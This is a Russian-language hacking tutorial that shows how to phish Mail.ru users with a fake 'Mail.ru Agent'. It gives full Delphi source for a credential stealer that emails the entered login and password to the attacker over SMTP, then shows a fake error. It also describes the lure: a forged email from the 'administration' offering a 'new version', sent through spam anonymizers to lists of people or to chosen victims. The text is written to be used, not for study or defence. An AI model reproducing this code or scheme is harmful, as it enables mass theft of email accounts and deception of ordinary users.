Итак, скажу сразу: СИ с применением тех. навыков - оч грозное оружие. Чем мы сегодня займемся? Мы пофантазируем и начнём кодить.Да, именно кодить.
Выбираем почтовый сервис mail.ru (мой любимый -)) - именно ему и посвещена статья. Что мы делаем? Давайте представим, что мы сами с вами
админы майла и хотим улучшить работу своего сервиса, сделать что-то новое и лучшее для своих пользователей, увеличить ящики, или, например,
подключить какую-нить услугу (дал мыслю на фантазию php скрипт немного легенды, хост с рассылкой и вперед) -)) .
Наша жертва: драгоценный mail.agent, сокращенно Mra. Почему бы не подделать его? И не выслать по аномайзеру или спам-рассыльщику с
какого-нить далекого хоста по спам-листу или конкретным жертвам.
В левом письме будет содержаться информация о том, что админы сервиса спят и видят сны только о том, как улучшить
работу своей почтовой службы. И вот один из таких админов придумал новую фишку для мэйл-агента, в которой будет доступна новая
функция, с помощью который вы сможете лично поговорить с тем сотрудником ФСБ, который читает вашу почту. НО эта функция
доступна в мэйл-агенте только новой версии, ссылка на который будет в письме! НЕСОМНЕННО люди помчаться скачивать
новый мэйл-агент, чтобы попросить дядьку из ФСБ, чтобы он не читал их почту или попросить его о том, чтобы он
прочитал интересные места из переписки вашей жены и её любовника, и потом вкратце рассказал вам, какая поза для сношений
у них самая любимая!

Поэтому мы напишем свой собственный мэйл-агент, задача которого будет отсылать введенные в него реквизиты на другой почтовый ящик.

Нам понадобиться Delphi 7, как говорят англичане, - небольшой кусочек мозгов и умение копировать.

Ниже будет выложен исходный код с комментами:

Code

unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, Mask, idMessage, ShellAPI; type TForm1 = class(TForm) Image1: TImage; Label1: TLabel; Button1: TButton; Button2: TButton; Label2: TLabel; CheckBox1: TCheckBox; Label3: TLabel; Label4: TLabel; ComboBox1: TComboBox; Edit1: TEdit; IdSMTP1: TIdSMTP; MaskEdit1: TMaskEdit; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Label1Click(Sender: TObject); procedure Label2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var M: TIdMessage; begin M := TIdMessage.Create(Form1); M.Body.Add('Мыло:' + ' ' + Edit1.Text + '@' + ComboBox1.Text + #10#13 + #10#13 + 'Пасс:' + ' ' + MaskEdit1.Text); // тело письма M.From.Text := Edit1.text + '@' + ComboBox1.Text; // от кого M.Recipients.Add; // получателей может быть несколько M.Recipients.Items[0].Text := 'мыло получателя'; // M.Recipients.Items[1].Text := 'мыло второго получателя если нужно'; M.Subject := 'Mail.ru Agent'; // тема письма IdSMTP1.AuthenticationType := atLogin; // если сервер требует авторизации IdSMTP1.Host := 'smtp.' + ComboBox1.text; // хост сервера IdSMTP1.Username := Edit1.text; // логин IdSMTP1.Password := MaskEdit1.Text; // пасс IdSMTP1.Connect(); // отправка мыла будет произведена от имени юзера // то есть он должен правильно заполнить логин и пасс, иначе мыло не отправится if IdSMTP1.Connected then begin try IdSMTP1.Send(M); Application.MessageBox('Невозможно соедениться с сервером. Проверьте настройки вашего соединия','Error!',MB_ICONERROR); // ошибка появится, если письмо успешно отправлено except Application.MessageBox('Неправильная пара Логин-Пароль','Error!',MB_ICONERROR); // ошибка появится, если юзер ввёл неправильный логин или пасс end; IdSMTP1.Disconnect; end; end; procedure TForm1.Button2Click(Sender: TObject); begin close; end; procedure TForm1.Label1Click(Sender: TObject); begin ShellExecute(Handle, 'open', 'http://win.mail.ru/cgi-bin/signup', nil, nil, SW_SHOWMAXIMIZED); end; procedure TForm1.Label2Click(Sender: TObject); begin ShellExecute(Handle, 'open', 'http://www.mail.ru/pages/help/92.html', nil, nil, SW_SHOWMAXIMIZED); end; end.

Вот и все! Наш мейл-агент будет проверять почты на реально существующие (для тех, кто в танке и
капитанов дальнего плавания - если кто-то там вбил неправильный пасс, он, как и реальный, выдаст
ошибку "работает только с реальными мылами и пассами"). Сам же агент при вводе правильных пассов
и мыла выдаст ошибку (её вы можете сменить сами - смотрите исходник и комменты), а тем временем
пасики пришлются на Ваше мыло. Можете его вообще доработать и сделать настоящим работающим(если,
конечно, найдёте исходники или напишите сами).

Ну и скажете, что дальше? А дальше - работа на фантазию - изменяй картинку на новую версию агента,
например, 4.8, думай к нему легенду, рассылай одиночным жертвам в чате, или автоматом через
спам-аномайзер от Администрации mail.ru .